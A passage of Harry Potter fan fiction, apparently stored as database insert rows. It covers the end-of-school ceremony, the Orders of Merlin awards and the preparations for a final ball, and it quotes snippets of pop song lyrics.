can\'t dance them!" \n</p><p>\n"Not many people can, Miss Patil. Because of this there will dancing lessons taking place every Tuesday lunchtime in the Great Hall for those who want to learn how to dance waltzes, polkas, foxtrots and other dances. I remember when I was at Hogwarts, all the balls were like that..." Professor McGonagall remenised for a few seconds. "Well!" She said eventually, "Talking about extra lessons, there will be career talks on Fridays at four thirty in the Transfiguration classroom and apparition lessons Saturday mornings on the west boundary of Hogsmeade. None of these classes are compulsary, but they are all advisable." At that point she dismissed them. \n</p><p>\nRon seemed the most excited about apparition lessons. Harry liked the sound of a careers talk. Hermione, however, seemed the most interested in... \n</p><p>\n"Dancing lessons! Hermione, why are you so keyed up about having dancing lessons? For heavens sake, anyone can dance!" cried Ron. He waltzed a few steps down the corridor, tripped over his feet and crashed into a Slytherin fourth year. Hermione let out an exasperated sigh and rolled her eyes at Harry. "Yes, but not everyone can dance properly. The dancing we\'ve done so far at Hogwarts has been awful- just swaying in time to something they call music. That\'s all very fine if you\'ve got a boyfriend, but if you haven\'t then it\'s so boring. I\'m really excited about this ball! It\'s going to have proper music-" \n</p><p>\n"Don\'t you like the Weird Sisters?" said Ron incredulously. \n</p><p>\n"Honestly Ron! You know my opinion of pop music." \n</p><p>\n"But the Weird Sisters aren\'t really pop! They\'re-" \n</p><p>\n"They sound like pop to me!" \n</p><p>\n"Well, they aren\'t!" \n</p><p>\n"Yes they are!" \n</p><p>\n"No they\'re not!" \n</p><p>\n"SHUT UP!" yelled Harry. "Do you ever stop arguing?" \n</p><p>\nThey looked a little sheepish and for once, shut up. The next they spoke, Hermione asked the boys what they wanted to do. \n</p><p>\n"I\'m going to be an auror." said Harry firmly. \n</p><p>\n"So am I," said Ron. \n</p><p>\n"What about you, Hermione?" asked Harry. \n</p><p>\nShe didn\'t immediately reply but then said that she was going to train as an auror as well. \n</p><p>\nHarry suddenly remembered the ring she had used at breakfast, "You\'ve got to tell us. What does it do? Who gave it to you?" \n</p><p>\nShe held it up to the light and they watched it gleam a deep purple. She sighed, "I found it this morning in a pocket of my robes with a note. Estella gave it to me. It\'s an old Slytherin heirloom." \n</p><p>\n"You\'re wearing a-" burst out Ron then shrugged his shoulders, "Never mind. What does it do?" \n</p><p>\n"Here\'s the note Estella left me. You can read it." She handed a small piece of parchment to Harry and the two boys read it through carefully. \n</p><p><i>\nDear Hermione, \n</i></p><p>\nThis ring was forged for Miss Elena Slytherin, an ancestor of yours whom I\'m sure you\'ve heard of, by her brother Lucius the father of Salazaar. When she died it was given back to Caecilia, Salazaar\'s mother to keep. It\'s powers are extraordinary and yet not permanently dangerous. If you wear on the middle finger of your left hand and hold it facing the person you wish to curse, then they are robbed of all magical powers for five minutes; enough time to quickly defeat the enemy. I have an idea that it may come in useful. \n</p><p>\nThere were other amulets, of course, which robbed you of your magical powers permanently. Fortunately these have all been destroyed. The reason Elena\'s only works for five minutes is because they thought the other curses were too powerful for a lady! The opinion of our sex in those days was not too favourable, I\'m afraid! \n</p><p>\nUse the ring well and good luck! My greetings to Harry Potter. He is a very brave young man, I think. \n</p><p>\nYours sincerely, Estella Green \n</p><p>\n"Hey, she might have mentioned me!" cried Ron, when he had finished reading. \n</p><p>\n"She doesn\'t know you, Ron. Why should she mention you?" \n</p><p>\n"Well anyway." For once he was content not to argue. \n</p><p></p><div class="center">*</div><p></p><p>\nThey were the first to Charms, and found Lily Potter sitting in the teacher\'s chair. \n</p><p>\n"Hi Harry, Hermione, Ron! Please sit down." \n</p><p>\nThey sat and Lily explained the reason behind her presence. Professor Flitwick was going to retire at the end of the year and she had been invited to take his place. "I am fully qualified," she added, "for I started training to be a Charms teacher as soon as I left Hogwarts and I got my \'Professorship\' just months before you were born. You\'ll have to call me Professor Potter now!" \n</p><p>\n"Even me?" complained Harry. \n</p><p>\n"Of course. Still, I don\'t actually start my job until September. I\'m just helping Frederick until then. Any of you planning to be teachers?" She asked casually. \n</p><p>\nDeep silence. Then Hermione said, "Well, Parvati\'s been offered to help Professor Trelawaney as a second Divination teacher. No training required. She and Lavender almost had a fight about it, because Lavender wanted the post as well." \n</p><p>\nLily snorted, "Looks like the next generation of students will enjoy Divination under Professor Patil just as much as you\'ve enjoyed it with dear old Sybil. Anyone else?" \n</p><p>\n"Neville says he might train for Herbology." Ron said and Harry nodded in agreement. \n"Oh, he\'ll be good at that," said Hermione warmly as Neville himself walked in. The others and Professor Flitwick followed shortly afterwards. \n</p><p></p><div class="center">*</div><p></p><p>\nAt lunch the trio discussed some of the details of the fight against Voldemort with Ginny and Irene. They never found out everything and neither of them were told about Voldemort\'s daughter. What Ginny found strange, however, was how Dumbledore had found out that they were in danger. After all, Ron\'s letter to Mrs. Weasley conveyed nothing out of the ordinary and Dumbledore surely wouldn\'t act so promptly on that alone. \n</p><p>\n"Uh..." said Harry. Come to think of it, how did Dumbledore know? Did Estella really get there, he had not said anything about it. \n</p><p>\n"Um, I think I can explain that," said Ron. \n</p><p>\n"You?" Ginny looked surprised. \n</p><p>\n"Yeah, me. You see, I think I saw your mother, Harry." \n</p><p>\n"You did? When?" \n</p><p>\n"In the castle. I arrived back from riding and went straight to Harry\'s room. When I got there your mother was standing, looking out of the window. She didn\'t tell me who she was and she swore me to secrecy about her. She seemed to know everything about me, you, and what was going on. She dictated a letter to Dumbledore and I sent it with Pig." \n</p><p>\n"Now everything makes sense!" sighed Hermione contentedly. \n</p><p>\n"Well, all\'s well that ends well, isn\'t it?" said Ginny with a grin. \n</p><p>'),
	(62, 17, '<p><i>JK Rowling owns all...</i></p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\nChapter 17- The Summer Term\n</p><p><span class="u">  \nFirst Letter</span></p><p> \nDear Harry, \n</p><p>\nWELL DONE! I just got an owl from Dumbledore! It\'s wonderful! You\'ve beaten You-Know-Who again! I always thought you\'d do it! An\' the Unbreakable Link an\' all! Olympe and I will be returning this summer- we\'re getting married you know. She\'s going to come to Hogwarts an\' teach. Well done with your exams and best wishes to Ron and Hermione. \n</p><p>\nHagrid. \n</p><p><u>\nSecond Letter</u><i>\n</i></p><p>\nDear Harry Potter, \n</p><p>\nWill you marry me? \n</p><p>\nYours hopefully with much Love, \n</p><p>\nEgredia St. George xxx \n</p><p><u>\nThird Letter \n</u></p><p><i>\nDear Harry, \n</i></p><p>\nI\'m sorry I have not been replying to your letters recently. My new job has kept me very busy. I\'ve dropped out of my Auror course and I\'m working in \'The Leaky Cauldron\' instead. It\'s very interesting- especially when we get customers like hags coming in! I\'ve read the article in the Daily Prophet about your defeat of the Dark Lord. However, it seems very patchy and has great gollups missed out! I\'m sure you\'ll tell me the true story, however. My congratulations both you and Hermione. \n</p><p>\nImagine your mother being alive! This is very unexpected but I\'m sure you\'re pleased. The reason given by the newspapers for this doesn\'t seem to hold water but I\'m sure that isn\'t the real reason! \nHave Hermione and Ron stopped fighting? You will have the Laurels\' Ball in the next few months and the ceremony is on Friday, am I right? I hope to attend the ceremony, so I\'ll see you then. \n</p><p>\nI don\'t know what you and Ron are thinking of doing when you leave Hogwarts, but I have just started renting a lovely, two bedroomed flat in Diagon Alley and I wondered if Hermione would be interested in sharing it. The rent is very reasonable- 450 Galleons a month and I would be delighted to have her. Please mention it to her, however I\'ll be seeing you soon so it\'s not of vital importance. \n</p><p>\nLove Cho \n</p><p><u>\nFourth Letter \n</u></p><p><i>\nDear Mr. Potter, \n</i></p><p>\nWe at \'The Most Charming Smile Awards\' are pleased to announce that you have won first prize in this year\'s competition. Well done! \n</p><p>\nYours sincerely, \n</p><p>\nAnne Bobbins (Head Secretary at \'The Most Charming Smile Awards\' offices) \n</p><p>\nThese were just a few of the mountains of letters that Harry received in the days following his return to Hogwarts. And he wasn\'t the only one. Hermione had her share of post, though hers consisted mostly of job offers to join certain agencies dealing with making new spells rather than proposals of marriage. Ron counted the number of these that Harry received, and at Thursday supper announced to the school that, "Harry Potter had received 547 offers of marriage in four days including 129 from Hogwarts and 23 from witches he (Ron) knew to be already married." \n</p><p>\nThe main event of Tuesday was the arrival of Marisa Goldfinger. For most people this was the first time that they had seen their new Minister. She was quite tall, had fluffy golden brown hair and dark brown eyes. She looked sympathetic even though she had her aunt\'s glare. This was the only resemblance that she bore to Professor McGonagall. She seemed very friendly with Percy, and Harry was reminded of what Ron had said when they had been in Yorkshire- that Percy was in love with her. When he put this suggestion to his friends, Hermione said in a peeved voice that of course he was! Wasn\'t it obvious? Harry couldn\'t see why she could be offended. \n</p><p>\nHermione herself seemed to have a lot of dealings with the Minister and Professor Dumbledore. She didn\'t let on to them about what until Wednesday evening after she had sent another long missive to the Grangers. She had already sent one and had a reply. Favourable, if Harry could judge from her behaviour. \n</p><p>\nProfessor Dumbledore, Marisa and Hermione had all realised that the muggle Marisa had met at King\'s Cross, Mia, was actually the real Hermione Granger. Estella must have swopped the two babies and left Mia in the same orphanage that Tom Riddle had been brought up in with a name as like \'Hermione Granger\' as she could dare. Hermione had written to her parents explaining this. She hoped they would except Mia. "I shall always think of her as my sister," she said. \n</p><p>\nHer parents replied soon. They would never abandon Hermione, she was as much their daughter as Mia could be. They were however going to see Mia who was staying at <i>The Leaky Cauldron</i>. \n</p><p>\nHarry and Ron were both amazed to hear of this odd twist, even though Ron\'s first query about Mia was \'if she was pretty\'. Hermione admitted that she had considered the possibly that there might be a real Hermione Granger somewhere, but that she had never thought seriously about it. \n</p><p></p><center>*</center><p></p><p>\nThe week before the Laurels\'s Ceremony was very frantic. Somehow Harry managed to have his first apparition lesson (all paperwork and pretty boring), his first dancing lesson (boring without the paperwork) a careers talk (too much paperwork and very boring), a quidditch practice ("We\'ll flatten those Ravenclaws in the finals!") and a practice ceremony. \n</p><p>\nSoon the big day came. At lunch time the guests started to arrive. Mr. and Mrs. Weasley, Fred, George and Katie Bell came bringing the exciting news that \'Weasley\'s Wizard Wheezes\' had finally got off the ground, and that George and Katie were getting married in the autumn! \n</p><p>\nCho came, looking splendid in dark red. Her comments about working in the pub being harder than her auror course puzzled Harry, but she gave no explanation. He had mentioned her offer of accommodation to Hermione and after some thought, she decided to except it. Remus Lupin turned up unexpectedly, alarming most of the pupils and delighting Sirius, Arabella and Lily with whom he went off into a corner for most of the lunch hour. \n</p><p>\nNeville\'s grandmother arrived, looking just as the Snape/Boggart image had done in their third year. Snape looked livid about this, and wouldn\'t speak to her. At two twenty Harry donned his pointed hat and made his way to the quidditch pitch. The stands had been lowered to ground level and at one end there was a large table with chairs behind it. The centre chair was for Marisa and in front of it was a row of certificates and silver Laurel wreaths. On her left sat Professor Dumbledore, Professor McGonagall and six of the school governors. On her right was Percy and the other six governors. To the right was a block, marked \'STUDENTS\' where Harry sat. Each place had a name marked- you had to sit in registar order. \n</p><p>\nAt exactly two thirty the ceremony started. Marisa Goldfinger opened it. "I am very pleased to be here with you for the first time since I left Hogwarts myself!" she said. "And I would just like to say a few words about last year." She paused before continuing, "Last year has been an outstanding year for academic achievments, as I am sure Professor Dumbledore would agree, and we have a new record for NEWTs results. Every single pupil has passed with very high marks and I am certain they will all go on to have very deserving careers. I will now give out the certificates." \n</p><p>\nAs if on cue, the pupils removed their pointed hats. Marisa picked up a roll of parchment and called the first name, "Abbott, Hannah!" \n</p><p>\nHannah Abbott, now a pretty, fair haired young woman, left the stands and made her way to the table, collected her certificate from Marisa, shook her hand, received her Laurel wreath and returned, blushing furiously, to the stands to a burst of heavy applause. \n</p><p>\nThey crept down the registar, past Lavender Brown, Vincent Crabbe and eventually Gregory Goyle. Then they came to Hermione, who was looking noticibly more confident than anyone else. A whisper spread through the crowd when she received a <i>gold</i> Laurel wreath. \n</p><p>\nHarry was too nervous, when it came to him, to notice that the clapping had increased about ten fold in volume. He did notice though, that the wreaths were heavier than they looked. Hermione said afterwards that they were made of real silver, or in her case, gold. \n</p><p>\nAfter the certificates, Marisa answered everybody\'s unspoken question. "I am sure you have all noticed the difference in colour between the wreaths of the majority of you and that of Miss Hermione Granger. Yes, we do have a new record." Here she smiled warmly at Hermione, who\'s face somewhat resembled a beetroot. "Previously the highest mark for NEWTs was held by the late Tom Riddle with 119%. Miss Granger beat this mark by 2% bringing the record up to 121%! I think she deserves a round of applause for this. Very well done, Hermione." \n</p><p>\nThe quidditch stadium gave Hermione a very suitable tribute, though perhaps not as loud as if they hadn\'t been told to. \n</p><p>\nThere was a pause after that and everyone wondered what was going to happen next. Marisa looked round the pitch and then said, "The events of last week cannot be ignored. However I will not embarrass those concerned by making a fuss over their courage. They will probably like to know all the same that most of the Death Eaters of old are now in Azkaban. Only a few have escaped detection." Harry wondered who the few were. Marisa was speaking again, "I know you all know what Harry Potter, Hermione Granger and Ron Weasley achieved last week, and it seems fitting to acknowledge it here. On behalf of all the magical community I bestow on these three students the highest possible mark of distinction in the wizarding world- The Order of Merlin." Harry felt himself go numb- the Order of Merlin! \n</p><p>\n"Firstly, to Mr. Ron Weasley I award the Order of Merlin Second Class for the use of cool logic in the face of the Imperius Charm and good sense in front of danger contributing to defeat of the Dark Lord." Harry picked out Mrs. Weasley\'s face in the crowd, stunned and proud. \n</p><p>\n"Mr. Weasley, please collect your medal." Ron walked to the front again and picked up a large mounted certificate and had a badge pinned on his robes. Harry couldn\'t see the details from that distance. When he returned to his seat Marisa continued, "To Miss Hermione Granger and Mr. Harry Potter I award the highest medal of all- The Order of Merlin First Class. Both these students are the youngest in magical history to receive this medal-" Harry caught sight of Hermione, who had nodded her head at this point. Sometime Harry also must have learnt this fact in History of Magic. "The courage and perseverance of these two young persons is of the highest calibre and we have honoured them accordingly. Will Mr. Potter and Miss Granger please receive their medals?" \n</p><p>\nSlowly Harry stood up and Hermione did the same. They went back to the desk where Marisa picked up a velvet box, opened it and took a small round badge. It had a twisted pattern in silver metal round the edge which glimmered with some magical charm. Inside was royal blue velvet padding and written in gold on it was \n</p><p></p><center><i>\nHARRY POTTER \n</i></center><p></p><p>\nORDER OF MERLIN 1st CLASS \n</p><p>\n25/04/2003\n</p><p>\nMarisa pinned the badge on Harry\'s chest and then did the same to Hermione. She handed them their certificates to great applause and they sat down again. \n</p><p>\nThe formal ceremony was over. Dumbledore then took the chair and announced that they would sing the school song to tunes of their own choice of course. Because Harry had sung it at the beginning of every school year he now knew the words off by heart, however they appeared in front of the school in silver letters at a flick of Dumbledore\'s wand. \n</p><p></p><center><i>Hogwarts, Hogwarts, Hoggy Warty Hogwarts, \n</i></center><p></p><p>\nTeach us something please, \n</p><p>\nWhether we be old and bald \n</p><p>\nOr young with scabby knees, \n</p><p>\nOur heads could do with filling \n</p><p>\nWith some interesting stuff, \n</p><p>\nFor now they\'re bare and full of air, \n</p><p>\nDead flies and bits of fluff, \n</p><p>\nSo teach us things worth knowing, \n</p><p>\nBring back what we\'ve forgot, \n</p><p>\nJust do your best, we\'ll do the rest, \n</p><p>\nAnd learn until our brains all rot.\n</p><p>\nThey started singing. Harry, who knew nearly no music, sang it to the tune of <i>Three Blind Mice</i>. Sally-Anne Perks, the Ravenclaw astronomist next to him sang it to <i>Jupiter</i>. He knew that Hermione would sing hers to the tune of Handel\'s <i>Hallelujah Chorus</i> as she always did. Ron, who wasn\'t musical either, just sang whatever the person next to him sang. At the end only Fred and George were singing (as usual), this time to Barber\'s <i>Adagio for strings</i>. \n</p><p>\nWhen the twins had finished they sang <i>God Save the Gracious Queen</i> fortunately to only one tune and the ceremony was over. \n</p><p>\nHarry met Ron and Hermione on the Quidditch pitch. Hermione immediately opened the conversation thus, "What did you get for your NEWTs? Everyone knows I got 121%, but what did you get? I was quite pleased with my mark, but I am disappointed that I didn\'t get extra credit in that Arithmancy problem. I explained it so nicely too!" </p><p>\nHarry had completely forgotten to look at his certificate. Trembling, he undid the red bow and unrolled it. He had got 95% over all, an excellent Defence Against the Dark Arts mark making up for a not very good Potions one. Hermione nodded and said, "Hmm, not bad, I suppose." \n</p><p>\nRon didn\'t volunteer a mark, but Harry thought he was pleased. They walked in silence out of the pitch. Then Ron said quietly, "Did you expect to receive that Order of Merlin thing?" \n</p><p>\n"No, not at all!" replied Harry, "it was a complete surprise. Did you?" \n</p><p>\n"Of course not!" They walked a little further, then Ron stopped again and said, "I know you both have 1st class awards, but... do you think 2cd class is good?" \n</p><p>\n"Good?" Hermione almost screamed. "According to a book I read, only 5% of wizards receive Orders of Merlin, and only 1.5% of those are gold. It\'s brilliant, Ron! Absolutely fabulous!" \n</p><p>\n"It\'s just..." he hesitated, "none of my brothers have Orders of Merlin!" \n</p><p></p><center>*</center><p></p><p>\nThe weeks following the ceremony were spent doing practically nothing. Only in Potions and Transfiguration were they kept working. Marisa Goldfinger\'s engagement was announced at breakfast the day she was due to leave Hogwarts. Ron was over the moon. "Just imagine- first I get an Order of Merlin, then one of my brothers announces that he\'s going to marry the Minister of Magic! Harry, can\'t you marry Ginny or something to raise our name even more?" \n</p><p>\n"They\'re not married yet," Hermione reminded Ron ominously as Harry said he preferred to do the \'something\' to marrying Ginny. \n</p><p>\nEvery week they would trudge down to Hogsmeade to learn Apparition and they took their exam at the of May. All the seventh years took the course apart from Neville whose Grandmother wouldn\'t let him. \n</p><p>\nHarry dropped out of the Careers course soon after it had begun- he knew he wanted to be an Auror and didn\'t see the point in listening to the qualifications you needed to run a Hippogriff breeding centre. Ron joined him but Hermione stayed for the whole course, saying that it was \'very interesting\'. \n</p><p>\nOne class Harry surprisingly did enjoy attending was the dancing class. After the first theoretical lesson it got much better. They were all paired off and Harry found himself with Mandy Brocklehurst, the Ravenclaw quidditch captain, a tall, sensible, brown haired girl with glasses. She was also a good dancer. Hermione was with Ernie MacMillan and Ron with Eloise Midgen whose acne had cleared up amazingly in the last few years. \n</p><p>\nIn the first two weeks they learnt the tango, then they progressed to the foxtrot, the polka and the gavotte. They learnt the quadrille and the march and eventually they came to the waltz. As they practised, Harry looked around the Great Hall, where the lesson was held. Only a few couples looked happy. Hermione looked bored and was holding Ernie, who didn\'t seem to know what he was doing, at arm\'s length. Ron and Eloise were having problems as well as neither of them knew what they were doing. Hermione was definitely one of the best dancers there but Mandy was a good partner as well. \n</p><p>\n"You need to stop tensing up and looking so worried," she said. "No partner is going to kill you!" \n</p><p>\n"I wouldn\'t be so sure if I were you," replied Harry loosing his footing as he glanced over at Millicent Bulstrode. \n</p><p>\n"<i>One</i>, two, three. <i>One</i>, two, three. Well don\'t dance with her then. Twirl me!" \n</p><p>\n"<i>One</i>, two, three," echoed Harry, "can I dance with you then at the ball?" \n</p><p>\n"I\'ve already got a boyfriend- other way, Harry! but yes, you can have a couple of waltzes. <i>One</i>, two, three! Only dance waltzes with people you really like. Watch out- you\'re going to bump into Hermione! Oh well done, you\'re improving, you know... ow, my toe! <i>One</i>, two, three..." \nThe only other time Harry saw Mandy was in the Quidditch final against Ravenclaw, which Gryffindor won. Harry decided that next year\'s Quidditch captain should be Pippa Spinnet, in which decision he was backed by Ron and Hermione. She was clearly the best player on the team. \n</p><p>\nThe only other noticeable event of the term took place one breakfast in June. One morning more owls than ever flew into the Great Hall. They dropped identical letters in front of most of the pupils in Gryffindor, Ravenclaw and Hufflepuff and some of the pupils in Slytherin. Harry, Ron, Hermione, Ginny, Pippa, Irene and the rest of the seventh years had letters. \n</p><p>\nThe envelopes were white marble coloured with crinkled edges and had your name and address written on them in curly gold letters. When Harry opened it a single piece of paper fell out decorated in the same way. As Harry read it he smiled. The letter ran as follows. \n</p><p></p><center><i>\nDear Mr. Harry Potter, \n</i></center><p></p><p>\nYou are cordially invited to the wedding of \n</p><p>\nMr. Sirius Black and Miss Arabella Figg \n</p><p>\non Saturday the twelfth of July 2003 \n</p><p>\nat 2.00 p.m. \n</p><p>\nin Hogsmeade chapel. \n</p><p>\nThe reception shall take place at the Three Broomsticks after the ceremony. \n</p><p>\nIf it hadn\'t been for the fact that he was spending his last days at Hogwarts, Harry would have been very happy. \n</p><p>\nAs it was, the term slipped by. The last Hogsmeade trip took place, the last detention was given, Snape yelled at them for the last time, the owl post arrived for the last time, Harry played quidditch with Gryffindor for the last time, the Fat Lady changed the password without telling anyone for the last time... \n</p><p>\nAnd then it was the last day, and the last morning, the last lunch and the last ball in the evening... \n</p><p>\n'),
	(62, 18, '\n<i>JK Rowling owns all... This happens to be my favourite chapter, so review kindly!  :-)</i><p>\n<u><b> </b></u></p><center><u><b>Harry Potter and the Unbreakable Link</b><p><b>\n Chapter 18- Picking the shortstraw </b>\n</p></u><p><u></u><i>...God bless Mother Nature \n</i></p><p><i>\nShe\'s a single woman too \n</i></p><p><i>\nShe took on a heaven \n</i></p><p><i>\nAnd she did what she had to do \n</i></p><p><i>\nShe taught every angel \n</i></p><p><i>\nTo re-arrange the sky\n</i></p><p><i>\nSo that each and every woman \n</i></p><p><i>\nCould find the perfect guy... \n</i></p></center><p>\n&quot;<i>Finite incantatem</i>! Turn that off! I can\'t stand another minute of that out of tune banshee!&quot; \n</p><p>\n&quot;But... but, Hermione. We like it! We can\'t get changed for a ball without music.&quot; \n</p><p>\n&quot;Well, get changed to something different. I\'ll put-&quot; \n</p><p>\n&quot;Not Beethoven! You will not put him on. I\'ve heard enough violin sonatas to last me a life time.&quot; \n</p><p>\n&quot;But I like <i>Spring</i>, Parvati.&quot; \n</p><p>\n&quot;And Lavender and I like Geri Halliwell.&quot; \n</p><p>\n&quot;Hermione, stop squabbling with Parvi. You\'re making me smudge my lipstick!&quot; Lavender didn\'t turn round from her vanity table where she was applying a load of fuscia lipstick. \n</p><p>\nHermione glanced up from where she was skimming through <i>A 100 Magical tips for Improving your Appearance</i>, her birthday present from Lavender, wondering if it actually had anything useful in it. &quot;Don\'t wear it then, Lavender.&quot; \n</p><p>\nLavender gave her a look. \n</p><p>\n&quot;How do I look?&quot; cried Parvati, who had just squeezed herself into a long, black, tight fitting ball gown. Lavender was in raptures, but Hermione privately thought that Parvati should have worn something brighter, and less figure hugging. However the affair of the moment was her hair. Should she straighten it? or should she make it even more frizzy? \n</p><p>\nAt length she decided to ask Ginny. Getting up, she made her excuses to her classmates and left the dormitory. As she closed the door behind her, she heard Lavender and Parvati taking advantage of her absence. \n<i></i></p><p></p><center><i>...It\'s raining men \n<p>\nGo get yourself wet girl \n</p></i><p><i>\nI know you want to... \n</i></p><p>*</p></center>\n<p>\nThe grandfather clock was working itself up for striking. Catherine, curled up on the sofa with the Odyssey and a plate of delicious Italian grapes did not here it. After all, Odysseus\' problems were rather more pressing than hers at that moment. For once, she reflected sorrowfully. There never seemed to be a moment in Catherine\'s life for a quiet read. Always something to be filled in, or something else to be written for someone else for a dead line. These things were generally of no importance to her. \n</p><p>\nThe clock struck. Catherine glanced at her watch. It said ten to two. It took a few minutes of action packed Greek minutes for Catherine to realise what she had seen. When she did she let out a yelp, dropped Homer into the grapes and stared at the grandfather clock. After all, it generally didn\'t chime at <i>ten minutes to the hour.</i> The clock showed six o\' clock. \n</p><p>\nCatherine jumped up, Penelope\'s suitors forgotten for the minute, scrambled over the coffee table, knocking her book and the grapes onto the floor and breaking the Venetian glass fruit dish at the same time. She climbed over her piles of books, trinkets, holiday magazines and scrunched up pieces of parchment and suddenly stopped in the middle of the room realising she had no idea what she was doing. She wound up her watch absent mindedly and wondered what the Latin equivalent of \'bloody hell\' was. \n</p><p>\nIn a flash memory returned. She was meant to be someone in one hour exactly. And she had been reading the Odyssey thinking she still had three hours to get there. Stupid, stupid Catherine! \n</p><p>\nThe phone rang. Tripping over her Spanish dictionary she grabbed her phone and said rather breathlessly, &quot;Hello. Catherine Shortstraw here. Could I-&quot; \n</p><p>\n&quot;Ciao, Kitty!&quot; There was only one person who annoyed her by using that name- \n</p><p>\n&quot;Bill Weasley! What are you doing calling me? I haven\'t spoken to you since you left Hogwarts! My name\'s Catherine by the way.&quot; \n</p><p>\n&quot;I know. I say, I didn\'t expect you to be here. I thought you were still digging up mangy remains in Italy.&quot; \n</p><p>\n&quot;I came back to England four years ago. And I really must go, Bill, I\'ve got an urgent appointment I really need to-&quot; \n</p><p>\n&quot;Miss? Anyway, why didn\'t you get ready sooner?&quot; \n</p><p>\n&quot;My watch stopped, and I really must go-&quot; \n</p><p>\n&quot;Your watch always stops! Can you just do me one favour?&quot; \n</p><p>\nCatherine stretched out her arm, one more inch and she\'d have got hold of her dress, hanging on the back of her wardrobe. \n</p><p>\n&quot;What sort of favour?&quot; \n</p><p>\n&quot;I\'ve got this message in Latin to do with banking, and I don\'t understand it. I just wondered if you\'d help.&quot; \n</p><p>\nAlmost got it! &quot;I\'ll send you a dictionary and grammar book with Chiron tomorrow. I\'d love to help you, but now is really <i>not</i> the moment... Now I really must-&quot; \n</p><p>\nCRASH! Catherine fell over, she had leant too far over bringing the telephone and it\'s table with her. \n</p><p>\n&quot;Catherine? Catherine? Earth to Kitty?&quot; \n</p><p></p><center>*\n<i><p>... Ooh Ooh\n</p><p>\nYou can dance \n</p><p>\nYou can jive \n</p><p>\nHaving the time of your life, ooh, ooh \n</p><p>\nSee that girl, watch that scene \n</p><p>\nDiggin\' the Dancing Queen... \n</p><p>\nFriday night and the lights are low \n</p><p>\nLooking out for a place to go- \n</p><p>\nWhere they play the right music \n</p><p>\nGetting in the swing \n</p><p>\nYou come to look for a king- \n</p></i></center><p>\n&quot;Is that better, Hermione?&quot; asked Parvati, dancing with her hairbrush. \n</p><p>\nHermione rolled her eyes as she came back into her bedroom, &quot;Better, I suppose.&quot; \n<i></i></p><p></p><center><i>Anyone can be that guy \n<p>Night is young and the music\'s high \n</p><p>With a bit of rock music \n</p><p>Everything is fine \n</p><p>You\'re in the mood for a dance \n</p><p>And when you get the chance- \n</p></i></center><p>\n&quot;You look nice, Hermione. I like your dress.&quot; \n</p><p>\n&quot;Thanks, Lavender.&quot; \n</p><p>\n&quot;Yeah, you look OK,&quot; added Parvati, determined not to be outdone by her friend. \n</p><p>\nHermione surveyed herself in the mirror and wished it to be true. She was in blue, as always, but this time it was quite a tightfitting dress. \'Victorian\' her mother had called it. She had opted for frizzy hair, this time and of course, no make up. \n<i></i></p><p></p><center><i>See that girl, watch that scene \n<p>Diggin\' the Dancing Queen \n</p></i></center><p>\n&quot;Oh,&quot; Lavender remembered, &quot;Harry came in, while you were with Ginny. He left you a note.&quot; \n</p><p>\nSurprised, Hermione picked the piece of parchment up from her bed and turned it over, \n<i></i></p><p><i>\nHermione, \n</i></p><p><i>\nPLEASE don\'t have a row with Ron! He says he won\'t if you don\'t provoke him and PLEASE don\'t provoke him! Enjoy the dance. \n</i></p><p><i>\nLove Harry \n</i></p><p><i>\nP.S. Dance with him once, a fast one.</i> \n</p><p>\nLavender and Parvati both wanted to know the contents of the letter, they thought it was a love letter. Hermione quickly expelled such a thought from their minds. \n<i></i></p><p></p><center><i>You are the Dancing Queen \n<p>Young and sweet only seventeen \n</p><p>Dancing Queen \n</p><p>Feel the beat from the tambourine \n</p><p>Oh yeh- \n</p><p>You can dance, you can jive \n</p><p>Having the time of your life, ooh ooh \n</p><p>See that girl, watch that scene \n</p></i><p><i>Diggin\' the Dancing Queen... \n</i></p><p>*</p></center>\n<p>\nHermione, Lavender, Parvati and Ginny left their dormitories at half past six for Hogsmeade. They were seen off by the rest of the house and Pippa Spinnet and Irene Malfoy in particular. Irene could have gone because a relation of hers was leaving, but she chose not to. Whether this came from a dislike to see Malfoy as her relation or whether she simply didn\'t like balls, nobody knew. As it was, Ginny was the only non seventh year to be going. \n</p><p>\nThey met up with Harry and Ron in the Entrance Hall and Hermione and Ginny, after watching Lavender suck up to Harry for five fruitless minutes, left in the same carriage as the two boys. \n</p><p>\nIt was an embarrassing ride. No one spoke. Harry looked very handsome and quite nervous. Ron looked quite handsome and very nervous. Neither of them seemed to want to talk to the two girls, but looked at them sideways every now and then in a way that was starting to get on Hermione\'s nerves. Ginny was too apprehensive at being near Harry at a ball to say anything and Hermione was saving her collection of small talk for the dancing. \n</p><p>\nEventually they reached Hogsmeade and the carriage dropped them at the furthest end of the main street. Just after where the shops and houses had started to peter off, there was an enormous marquee. It was an open marquee, and at one end there was a small orchestra, The Diagon Sinfonietta Orchestra. Round the edges of the canopy were chairs and next to the orchestra were tables with food on them. The centre of the marquee was a smooth polished dancefloor. Different coloured lights twinkled all round it. The orchestra was already playing something light and cheerful. Hermione recognised it as Vivaldi\'s Spring. \n</p><p>\nThey walked towards the tent, and suddenly Ginny gave a gasp, &quot;Oh look! They\'re fairies!&quot; \n</p><p>\n&quot;What are?&quot; asked Hermione, as Ron groaned and muttered, &quot;Girls!&quot; \n</p><p>\nGinny showed her one of the sparkling lights. It was actually a tiny fairy holding a coloured lantern. She held it in her palm for a minute before it flew away. \n</p><p>\nThe only teachers Hermione could see were Professor Dumbledore, Sirius and Arabella. She was very glad Snape hadn\'t come. She looked round to see her fellow seventh years. Draco Malfoy was wearing yet another black, clerical gown. He actually looked quite good looking. Next to him, however, Pansy Parkinson was terrifying. She had over powdered her already pale face, and with scarlet lipstick and a bright red dress, she gave an impression of some gory death. \n</p><p>\nCrabbe and Goyle both wore muggle suits, and looked as Harry said afterwards, like Dudley &quot;entertaining&quot; one of Uncle Vernon\'s business colleagues. \n</p><p>\nThe orchestra finished \'Spring\' and stopped. It was seven o\' clock. Professor Dumbledore announced that the ball was open and pandemonium ensued as everyone tried to find a partner. Harry found himself grabbed by a pair of long, female nails and dragged onto the floor. Opposite Padma Patil.  Hermione was dancing with Neville and Ron with Susan Bones. Ginny had the misfortune to be partnering Goyle. \n</p><p>\nThe first dance was a Gavotte which Harry managed to completely mess up. He didn\'t think Padma would be returning for a second dance later, though he assured her that he could do the tango, foxtrot and waltz without any problems. She looked doubtful. \n</p><p>\nHe missed out the next dance, a quickstep, for the health of his partner, and watched Ron and Lavender, Hermione and Justin Finch- Fletchley, and Ginny and Terry Boot. \n</p><p>\nAnd so the first few hours passed. Harry danced some of the dances and sat out for many. After fifteen minutes of the 